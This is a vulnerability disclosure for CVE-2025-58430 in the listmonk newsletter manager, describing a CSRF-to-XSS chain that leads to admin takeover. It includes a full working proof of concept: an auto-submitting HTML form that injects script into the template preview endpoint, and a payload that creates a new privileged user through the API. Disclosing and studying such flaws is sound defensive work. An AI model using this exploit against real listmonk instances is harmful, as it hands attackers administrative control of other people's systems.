CSRF → XSS → Admin Takeover in listmonk (CVE-2025-58430)
Disclosed: September 9, 2025
Product: listmonk — self‑hosted newsletter & mailing‑list manager
CVE: CVE-2025-58430
Project context
listmonk is a widely used open‑source project for self‑hosted newsletters and mailing lists. It has ~17.8k GitHub stars and 16k istances online (FoFa results)
Impact
- Creation of privileged users
- Execution of arbitrary actions as the admin
- Full administrative compromise of the listmonk instance
Overview
A chain of issues in listmonk allows a Cross‑Site Request Forgery (CSRF) to trigger arbitrary JavaScript execution (XSS) in the admin’s browser, culminating in a full admin account takeover. In practice, an attacker can lure a logged‑in admin to a malicious page that silently sends a crafted request to the template preview endpoint; the injected JavaScript then executes in the admin’s context and performs privileged actions (e.g., creating a new administrator).
Affected / Patched Versions
- Affected: <= v5.0.3
- Patched: v5.1.0
If you operate listmonk, treat this as critical: assume administrative compromise is possible and apply the mitigations below immediately.
Technical Details
1) Missing server‑side CSRF enforcement
Requests include a nonce
parameter alongside the session
cookie; however, the backend accepts requests even when the nonce
is absent or removed. This defeats the intended CSRF control because the token is not actually validated server‑side.
2) JavaScript execution in template preview
Users with permissions can create and preview templates via POST /api/templates/preview
. The preview renderer permits inline JavaScript, which will run in the browser when the preview loads.
3) Cookie lacks SameSite
The session
cookie is set without an explicit SameSite
attribute, leaving behavior to browser defaults. On browsers that default to SameSite=None
, cross‑site POSTs will include the session cookie, enabling CSRF.
Putting it together
An attacker hosts a page that auto‑submits a POST to the template preview endpoint containing a JavaScript payload. Because the nonce
isn’t enforced and the session
cookie rides along cross‑site, the payload executes in the admin’s origin. That script can then issue authenticated API calls (e.g., to create a new admin user), resulting in complete administrative takeover.
Proof of Concept
Example HTTP request without nonce :
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview
), in templates it is possible to execute javascript code, for example:
And this request can also be made without nonce
.
Then an attacker can exploit this lack of validation to trigger an XSS in the victim’s browser (let’s assume the admin)
This is possible for 2 reasons :
- There is no validation of the
nonce
(as mentioned above) - The
session
cookie has no samesite flag
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set Lax
(Chrome), but many others use None
(Firefox, Edge)
For example, we can host this html page to prompt the admin to make a post request
<html>
<!-- CSRF PoC -->
<body>
<form action="https://target.tld/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
I tested the CSRF+XSS PoC written above on 3 browsers in their latest versions
- Chrome ❌
- Firefox ✅
- Edge ✅
Example in Firefox :
We can now replace the simple alert()
with any “harmful” request. request, for example the creation of a new admin account:
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
So the final poc that exploits CSRF + XSS to create an admin account is like this :
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
References
- GitHub Security Advisory: GHSA‑rf24‑wg77‑gq7w (CVE‑2025‑58430) — https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w
- listmonk repository — https://github.com/knadh/listmonk
- listmonk documentation — https://listmonk.app/docs/